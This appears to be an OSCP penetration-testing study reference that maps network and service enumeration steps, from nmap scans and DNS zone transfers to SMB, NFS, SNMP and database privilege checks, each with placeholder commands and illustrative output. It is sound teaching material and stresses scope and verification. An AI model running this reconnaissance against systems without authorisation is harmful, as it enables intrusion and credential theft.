OSCP ReferenceFull library
Session stays in this tab; export to keep it.

Attack-surface investigations

Choose a surface, inspect its output, then follow the missing prerequisite.

Suggested next checks

Open a surface below to begin.

Discover attack surfaces

Validate the source path and discover hostsNot inspectedNo response, a new subnet, or uncertainty about the interface and route

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

ip addr
ip route get TARGET
nmap -sn SUBNET -oA host-discovery

Read the result

The route names the intended interface/source; a responder is evidence from that source, not a global reachability claim.

Still check: Check scope, target state and whether host-discovery probes are permitted by this path.

Illustrative output
TARGET via VPN_GATEWAY dev tun0 src SOURCE_IP
Nmap scan report for HOSTNAME (TARGET)
Host is up
Validate prerequisites and compare methods

Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

ip addr
ip route get TARGET
nmap -sn SUBNET -oA host-discovery
Open numbered procedure and alternatives →

What did you find?

Enabled: The assigned route is correct and the selected application responds: proceed to service coverage.

Ruled out here: The route points outside the assigned VPN: repair that route before evaluating the target.

Unresolved: No discovery response but a plausible route exists: the host may filter probes; test a justified selected port.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discover TCP ports with SYN or connect scans — An assigned host needs an initial service queue or full TCP coverage
Requires: SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

Probe UDP and resolve ambiguous silence — TCP enumeration is incomplete for the objective or DNS/SNMP/RPC clues suggest UDP
Requires: Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Enumerate reachable endpoints from a Windows source — The useful vantage point is a Windows host without Nmap
Requires: A permitted Windows shell, explicit target list and built-in networking support

Discover TCP ports with SYN or connect scansNot inspectedAn assigned host needs an initial service queue or full TCP coverage

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

nmap -Pn -sT --top-ports 1000 TARGET -oA tcp-initial
nmap -Pn -sT -p- TARGET -oA tcp-full

Read the result

The high listener exists outside the first selection; its application label remains provisional.

Still check: Confirm scan completion, source, errors and application behavior on each interesting port.

Illustrative output
Initial selection: 22/tcp open ssh; 80/tcp open http
Full selection also: 18080/tcp open unknown
Validate prerequisites and compare methods

SYN scanning needs raw-packet privileges; connect scanning needs OS TCP connections; specify selected versus full port coverage

nmap -Pn -sT --top-ports 1000 TARGET -oA tcp-initial
nmap -Pn -sT -p- TARGET -oA tcp-full
Open numbered procedure and alternatives →

What did you find?

Enabled: A focused connection and application response confirm the listener: queue its service.

Ruled out here: The earlier result cannot be reproduced after a completed focused check: retire that stale listener hypothesis.

Unresolved: Filtered ports or interrupted scans leave coverage/reachability unresolved; save the limit and choose a focused check.

Show connections

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Identify applications and validate selected NSE checksNot inspectedA listener has a port-based label or uncertain version

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

nmap -Pn -sV -p PORTS TARGET -oA selected-services

Read the result

An HTTP response on a nonstandard port routes investigation to application mapping; a product string is still only fingerprint evidence.

Still check: Verify normal requests, hostname/TLS requirements and exact build/configuration before selecting an exploit.

Illustrative output
18080/tcp open http APPLICATION_SERVER
Service detection performed
Validate prerequisites and compare methods

A reachable selected port; scripts must match the application and permitted assessment behavior

nmap -Pn -sV -p PORTS TARGET -oA selected-services
nmap --script-help SCRIPT_NAME
Open numbered procedure and alternatives →

What did you find?

Enabled: Native protocol responses agree with the fingerprint: use that service's enumeration guide.

Ruled out here: A presumed SSH port instead speaks HTTP: discard the SSH-specific method for that endpoint.

Unresolved: Generic banners or timeouts do not identify a build; try protocol-aware/TLS discrimination.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discriminate unknown listeners and use scanner alternatives — A nonstandard listener, slow TCP discovery or a scanner-specific candidate
Requires: Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Inspect rsync modules and retrieve selected artifacts — An rsync daemon banner, TCP/873 listener or disclosed rsync module
Requires: Reachable rsync daemon and a module/path readable by the anonymous or supplied account

Retrieve an evidence-backed file over TFTP — A UDP/69 service plus a plausible filename from configuration, source or boot metadata
Requires: Reachable TFTP service and an exact server-relative filename permitted for read or write

Use anonymous or authenticated FTP file access — An FTP banner or accessible listing
Requires: Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Enumerate SMTP identities and accessible mailbox protocols — SMTP capabilities or mail-related account clues
Requires: Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions

Use MySQL/MariaDB data and file primitives — A MySQL-compatible service and valid application/database credentials
Requires: Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

Use SQL Server rights, impersonation and command facilities — SQL Server credentials or a Windows identity accepted by the database
Requires: Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

Use PostgreSQL data and privileged program execution — PostgreSQL access or an application connection string
Requires: Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context

Inspect Redis access and persistence boundaries — A Redis listener or application cache credentials
Requires: Reachability and accepted authentication/ACL commands; persistence writes need CONFIG rights, destination permissions and a consumer

Triage Oracle listener and database identity — An Oracle TNS listener or connection descriptor
Requires: Correct service/SID, reachable database transport and valid database credentials for authenticated work

Validate RDP, WinRM, VNC and Telnet access contexts — An exposed remote-access application and compatible known credentials
Requires: Enabled destination service, matching authentication and protocol-specific logon/session rights

Discover LDAP naming contexts and authenticated search — LDAP/Kerberos listeners or a probable AD domain
Requires: Reachable directory; anonymous query permission or valid bind identity; required signing/TLS and naming context

Investigate SIP/IRC identity and configuration clues — A confirmed SIP or IRC application
Requires: Application-specific request format; permitted registration/channel/configuration access

Probe UDP and resolve ambiguous silenceNot inspectedTCP enumeration is incomplete for the objective or DNS/SNMP/RPC clues suggest UDP

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

sudo nmap -Pn -sU --top-ports 20 --reason TARGET -oA udp-initial

Read the result

A DNS response confirms a UDP application; open|filtered SNMP silence is a candidate requiring a correctly formatted request.

Still check: Check accepted service parameters, response identity and possible ICMP rate limiting.

Illustrative output
161/udp open|filtered snmp no-response
53/udp open domain udp-response
Validate prerequisites and compare methods

Raw-packet access and UDP reachability from the real source; bounded or full selection must be explicit

sudo nmap -Pn -sU --top-ports 20 --reason TARGET -oA udp-initial
sudo nmap -Pn -sU -sV -p 53,161 TARGET -oA udp-focused
Open numbered procedure and alternatives →

What did you find?

Enabled: A service-native request returns the expected OID/record: enumerate that application.

Ruled out here: An explicit port-unreachable response rules out that UDP endpoint for this source/time.

Unresolved: Silence can mean open or filtered; use a justified application-aware probe rather than declaring either.

Show connections

These are conditional possibilities. Check the named condition before moving.

Extract configuration and process information through SNMP — UDP/161 evidence or an exposed management plane
Requires: An accepted read community or SNMPv3 identity/security level; transport and view permissions

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Inspect RPC/NFS exports and effective file identity — RPC/NFS listeners or export information
Requires: Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

Validate uncertain results and rebuild the service queueNot inspectedScanners disagree, a result is ambiguous, or a new identity changes accessible behavior

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

nc -nvz TARGET PORT
nmap -Pn -sT -p PORT --reason TARGET

Read the result

Independent TCP reachability supports an endpoint candidate, not credentials, read permission or execution.

Still check: Identify the application and validate the particular next-layer action.

Illustrative output
Connection to TARGET PORT succeeded
PORT/tcp open SERVICE syn-ack
Validate prerequisites and compare methods

A selected endpoint and a test that can resolve the decision-changing uncertainty

nc -nvz TARGET PORT
nmap -Pn -sT -p PORT --reason TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The protocol answers and the intended access check succeeds: record that specific capability.

Ruled out here: The expected protocol is absent despite a listener: reject that protocol-specific hypothesis.

Unresolved: Conflicting source/time results need a controlled repeat and route comparison.

Show connections

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities

Enumerate reachable endpoints from a Windows sourceNot inspectedThe useful vantage point is a Windows host without Nmap

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4
Test-NetConnection TARGET -Port 445

Read the result

The service is reachable from this Windows source; this can reveal a useful vantage point unavailable from Kali.

Still check: Confirm application/authentication and whether a forward or a native client can use that route.

Illustrative output
InterfaceAlias   : ADAPTER
SourceAddress    : SOURCE_IP
RemotePort       : 445
TcpTestSucceeded : True
Validate prerequisites and compare methods

A permitted Windows shell, explicit target list and built-in networking support

Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4
Test-NetConnection TARGET -Port PORT
Open numbered procedure and alternatives →

What did you find?

Enabled: A protocol request works from this source: choose an authorized service client or suitable tunnel.

Ruled out here: The selected service is conclusively closed from this source: choose another observed endpoint.

Unresolved: TcpTestSucceeded False with uncertain routing/firewall does not prove the host is down.

Show connections

These are conditional possibilities. Check the named condition before moving.

Discover pivot interfaces, routes and internal service context — A foothold exposes an interface/subnet or a loopback-only service
Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Validate uncertain results and rebuild the service queue — Scanners disagree, a result is ambiguous, or a new identity changes accessible behavior
Requires: A selected endpoint and a test that can resolve the decision-changing uncertainty

Discriminate unknown listeners and use scanner alternativesNot inspectedA nonstandard listener, slow TCP discovery or a scanner-specific candidate

Starting access: An explicitly assigned address or host list and a known source position

Discover the clue

nmap -Pn -sV --version-all -p PORT TARGET
nc -nv TARGET PORT

Read the result

TLS and an HTTP redirect suggest a hostname-selected web application rather than an attack tied to the port number.

Still check: Reproduce the hostname/TLS request and confirm exact software/configuration.

Illustrative output
PORT/tcp open ssl/http APPLICATION
HTTP/1.1 302 Found
Location: https://HOSTNAME/
Validate prerequisites and compare methods

Explicit bounded scope; raw scanning alternatives need their required privileges and conservative rates

nmap -Pn -sV --version-all -p PORT TARGET
nc -nv TARGET PORT
Open numbered procedure and alternatives →

What did you find?

Enabled: A correctly addressed request produces the application: move to its normal behavior map.

Ruled out here: The banner disproves the originally assumed protocol: remove that service hypothesis.

Unresolved: No banner may mean a client-first protocol, TLS or filtering; use a discriminating normal request.

Show connections

These are conditional possibilities. Check the named condition before moving.

Identify applications and validate selected NSE checks — A listener has a port-based label or uncertain version
Requires: A reachable selected port; scripts must match the application and permitted assessment behavior

Establish scheme, host, redirects and request state — An HTTP endpoint, redirect or hostname-dependent response
Requires: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Extract opportunities from services

Use anonymous or authenticated FTP file accessNot inspectedAn FTP banner or accessible listing

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

curl -v ftp://TARGET/
curl -v --user 'USER:PASSWORD' ftp://TARGET/

Read the result

A listing identifies candidate artifacts; a completed RETR with recognizable bytes establishes read access.

Still check: Validate the account context, file contents, data-channel reachability and any separate write/consumer conditions.

Illustrative output
230 Login successful
LIST: application.conf; backups/
RETR application.conf: 226 Transfer complete
Validate prerequisites and compare methods

Anonymous login allowed or a valid FTP identity; data-channel connectivity and object-specific read/write rights

curl -v ftp://TARGET/
curl -v --user 'USER:PASSWORD' ftp://TARGET/
Open numbered procedure and alternatives →

What did you find?

Enabled: The relevant file is readable and contains a current typed secret: follow credential classification.

Ruled out here: Anonymous login is denied: rule out anonymous access, retaining authenticated FTP as a separate possibility.

Unresolved: Login works but data transfer hangs: inspect active/passive data routing before concluding file access is denied.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use SSH passwords, keys and forwarding-capable accessNot inspectedAn SSH service and a known password, private key or agent context

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

ssh -v -p PORT USER@TARGET
ssh -v -i KEY -p PORT USER@TARGET

Read the result

Accepted key authentication plus a verified shell identity establishes that specific login, not root or unrestricted forwarding.

Still check: Check actual account/shell/subsystem and separately inspect forwarding policy if a tunnel is needed.

Illustrative output
Authenticated to TARGET using publickey
uid=USER_ID(USER) gid=GROUP_ID(GROUP)
Validate prerequisites and compare methods

Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

ssh -v -p PORT USER@TARGET
ssh -v -i KEY -p PORT USER@TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended user can run commands: establish host/privilege/network state.

Ruled out here: The same valid key is not authorized for this user: rule out that username/key pairing.

Unresolved: A passphrase prompt or host policy rejection requires key/context diagnosis; it is not evidence that all SSH access is unavailable.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Enumerate SMTP identities and accessible mailbox protocolsNot inspectedSMTP capabilities or mail-related account clues

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

nc -nv TARGET 25

Then enter the protocol dialogue:

EHLO example.invalid
VRFY USER
VRFY INVALID_CONTROL
QUIT

Read the result

A reproducible reply difference can expose a possible mailbox identity.

Still check: Check catch-all policy and account context; recipient acceptance does not prove mailbox credentials or OS access.

Illustrative output
220 HOSTNAME ESMTP
250-VRFY
VRFY USER -> 250 USER
VRFY INVALID_CONTROL -> 550 No such user
Validate prerequisites and compare methods

Reachable SMTP/POP3/IMAP service; enumeration or mailbox access must be enabled for the selected context

nc -nv TARGET 25
Open numbered procedure and alternatives →

What did you find?

Enabled: Controls support a real account and compatible credentials are available: validate its permitted mailbox/service access.

Ruled out here: All recipients are accepted by catch-all behavior: discard account-existence inference from this test.

Unresolved: Uniform policy replies leave usernames unknown; inspect another identity source.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Expand names through DNS records and zone transfers — A DNS server, domain name or host aliases
Requires: Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

Enumerate SMB/RPC shares, files and identities — SMB/RPC endpoints, domain clues or new credentials
Requires: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

Expand names through DNS records and zone transfersNot inspectedA DNS server, domain name or host aliases

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN AXFR

Read the result

An authoritative zone and returned records can expose hostnames, aliases and applications needing separate enumeration.

Still check: Check each new name's scope/address and verify host/virtual-host behavior.

Illustrative output
DOMAIN. SOA DC_HOST. HOSTMASTER.
HOSTNAME.DOMAIN. A TARGET
Transfer completed
Validate prerequisites and compare methods

Reachable DNS transport and relevant authoritative zone; AXFR requires an allowed TCP zone transfer

dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN AXFR
Open numbered procedure and alternatives →

What did you find?

Enabled: A permitted transfer returns a relevant new host: validate it through discovery.

Ruled out here: Transfer refused rules out AXFR on this server/zone/context; ordinary records may remain useful.

Unresolved: A timeout or non-authoritative response requires authority/transport checks before any zone conclusion.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

Discover virtual hosts and hostname-selected applications — DNS names, redirects, certificate names or a default virtual-host response
Requires: A destination listener, relevant domain candidates and controlled Host/SNI routing

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Inspect RPC/NFS exports and effective file identityNot inspectedRPC/NFS listeners or export information

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

rpcinfo -p TARGET
showmount -e TARGET

Read the result

An export lists a filesystem candidate and client policy; it does not establish file access or trusted UID 0.

Still check: Use the owning procedure to verify NFS version, allowed client, numeric identity mapping, read/write and squash/mount policy.

Illustrative output
100003  3  tcp  NFS_PORT  nfs
Export list for TARGET:
/EXPORT CLIENT_SCOPE
Validate prerequisites and compare methods

Reachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access

rpcinfo -p TARGET
showmount -e TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The relevant mapped identity can read configuration: retrieve and classify its useful artifacts.

Ruled out here: The export permits a different client scope: rule out this source's mount route.

Unresolved: Empty showmount can miss NFSv4 context; confirm version/export behavior before declaring no NFS access.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Exploit a permission-backed mount, NFS mapping or local service — A writable/exported filesystem or a loopback-only service with useful privileges
Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Inspect rsync modules and retrieve selected artifactsNot inspectedAn rsync daemon banner, TCP/873 listener or disclosed rsync module

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/

Read the result

A visible module and file listing identify an rsync namespace; they do not establish write or execution.

Still check: Retrieve one selected file and verify its bytes; record anonymous or supplied-account context.

Illustrative output
Module: backups
Listing: app/config.yml
Validate prerequisites and compare methods

Reachable rsync daemon and a module/path readable by the anonymous or supplied account

nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected artifact is readable and useful: inspect it locally and route any credential or path clue.

Ruled out here: The module lists but the file read is denied: reject read access for that path/context.

Unresolved: No module list may mean hidden modules rather than no rsync service; retain exact application evidence.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Retrieve an evidence-backed file over TFTPNot inspectedA UDP/69 service plus a plausible filename from configuration, source or boot metadata

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit

Read the result

The exact known filename is retrievable; TFTP still exposes no general directory namespace.

Still check: Verify recognizable bytes and provenance; distinguish read from any separately required write test.

Illustrative output
Transfer complete
Local file: recognizable configuration bytes
Validate prerequisites and compare methods

Reachable TFTP service and an exact server-relative filename permitted for read or write

tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended artifact is recovered: inspect it and follow its concrete paths or credentials.

Ruled out here: A server error says the exact filename is unavailable or denied in this context: reject that name.

Unresolved: Timeout is ambiguous across UDP reachability, transfer-port policy and filename handling.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Enumerate SMB/RPC shares, files and identitiesNot inspectedSMB/RPC endpoints, domain clues or new credentials

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

smbclient -L //TARGET -N
smbclient -L //TARGET -U 'DOMAIN/USER'

Read the result

A share name supplies a filesystem investigation target; listing it does not prove read, write or service creation.

Still check: Connect to the named share under the identity that listed it, then ls/get the exact object. Listing a share does not prove read or write. For a write candidate, verify the path operation and identify a separate execution consumer before treating it as access.

Illustrative output
Sharename       Type
SHARE           Disk
NETLOGON        Disk
Validate prerequisites and compare methods

Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter

smbclient -L //TARGET -N
smbclient -L //TARGET -U 'DOMAIN/USER'
Open numbered procedure and alternatives →

What did you find?

Enabled: A relevant configuration can be retrieved: inspect its account/secret context.

Ruled out here: The authenticated account cannot read that object: discard the read path for this identity, not all SMB opportunities.

Unresolved: Login succeeds but listing fails: check a justified known share path and separate share/NTFS authorization.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Read domain shares, SYSVOL and NETLOGON for useful artifacts — A valid domain identity and accessible file services
Requires: Reachable SMB plus share/object read rights in the chosen identity context

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Extract configuration and process information through SNMPNot inspectedUDP/161 evidence or an exposed management plane

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.1

Read the result

A real OID response confirms the accepted read context and supplies software/name clues.

Still check: Determine which useful views/branches are actually readable; process data and write rights are separate.

Illustrative output
SNMPv2-MIB::sysDescr.0 = STRING: OS_AND_BUILD
SNMPv2-MIB::sysName.0 = STRING: HOSTNAME
Validate prerequisites and compare methods

An accepted read community or SNMPv3 identity/security level; transport and view permissions

snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.1
Open numbered procedure and alternatives →

What did you find?

Enabled: A relevant interface/process branch returns useful data: follow the named subnet/application/credential.

Ruled out here: An explicit authorization failure rules out that security context/view.

Unresolved: UDP silence can be routing, version, community or view policy; a timeout cannot choose between them.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate the source path and discover hosts — No response, a new subnet, or uncertainty about the interface and route
Requires: Correct VPN/interface and explicit scope; discovery probes must be compatible with the path

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

Use MySQL/MariaDB data and file primitivesNot inspectedA MySQL-compatible service and valid application/database credentials

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

SELECT USER(),CURRENT_USER(),VERSION();
SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';

Read the result

SELECT permits data investigation; absent FILE/admin rights and the restricted directory constrain file/OS hypotheses.

Still check: Check exact grants, useful tables, destination OS permissions and an execution consumer before escalating a file operation.

Illustrative output
CURRENT_USER(): APP_USER@%
GRANT SELECT ON APP_DB.*
secure_file_priv: /RESTRICTED_DIRECTORY/
Validate prerequisites and compare methods

Database authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions

SELECT USER(),CURRENT_USER(),VERSION();
SHOW GRANTS;
SHOW VARIABLES LIKE 'secure_file_priv';
Open numbered procedure and alternatives →

What did you find?

Enabled: A useful readable table or fully validated file consumer exists: choose that precise primitive.

Ruled out here: No required FILE privilege rules out the proposed LOAD_FILE/OUTFILE chain for this account.

Unresolved: Incomplete grants or unknown server path keeps file capability unresolved; inspect before selecting it.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Execute an uploaded file through a compatible handler — Uploads are retrievable and the application stack suggests an executable file handler
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

Use SQL Server rights, impersonation and command facilitiesNot inspectedSQL Server credentials or a Windows identity accepted by the database

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

SELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');

Read the result

A valid login with sysadmin=0 is data/rights evidence, not permission to enable xp_cmdshell.

Still check: Enumerate actual database/server grants and useful impersonation; independently verify any OS facility and its identity.

Illustrative output
SYSTEM_USER: DOMAIN\USER
ORIGINAL_LOGIN: DOMAIN\USER
IS_SRVROLEMEMBER: 0
Validate prerequisites and compare methods

Correct SQL versus Windows authentication; database role and configuration must permit the requested operation

SELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');
Open numbered procedure and alternatives →

What did you find?

Enabled: Required role/configuration and OS effect are verified: use the supported database-to-command method.

Ruled out here: No facility/impersonation right rules out that proposed OS chain while readable data may remain.

Unresolved: A failed role query or unknown proxy context needs a narrower rights check.

Show connections

These are conditional possibilities. Check the named condition before moving.

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
Requires: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Use PostgreSQL data and privileged program executionNot inspectedPostgreSQL access or an application connection string

Starting access: A confirmed reachable application; anonymous context or one identified credential

Discover the clue

SELECT current_user,session_user,version();
SELECT rolname,rolsuper FROM pg_roles WHERE rolname=current_user;

Read the result

An ordinary database role does not automatically have COPY PROGRAM or server-file access.

Still check: Inspect effective role memberships and exact operation rights, then the database service's OS context.

Illustrative output
current_user | session_user
APP_USER     | APP_USER
rolname      | rolsuper
APP_USER     | f
Validate prerequisites and compare methods

Accepted connection/database role; COPY PROGRAM needs the corresponding server privilege and an executable OS context

SELECT current_user,session_user,version();
SELECT rolname,rolsuper FROM pg_roles WHERE rolname=current_user;
Open numbered procedure and alternatives →

What did you find?

Enabled: The needed execution/file role and a usable consumer are established: select that documented operation.

Ruled out here: No superuser or required operation-specific privilege rules out the proposed program-execution route.

Unresolved: Unknown inherited role rights leave the operation unresolved; enumerate memberships before deciding.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Convert database rights into a file or operating-system effect — Confirmed SQL control plus database file, execution or impersonation privileges
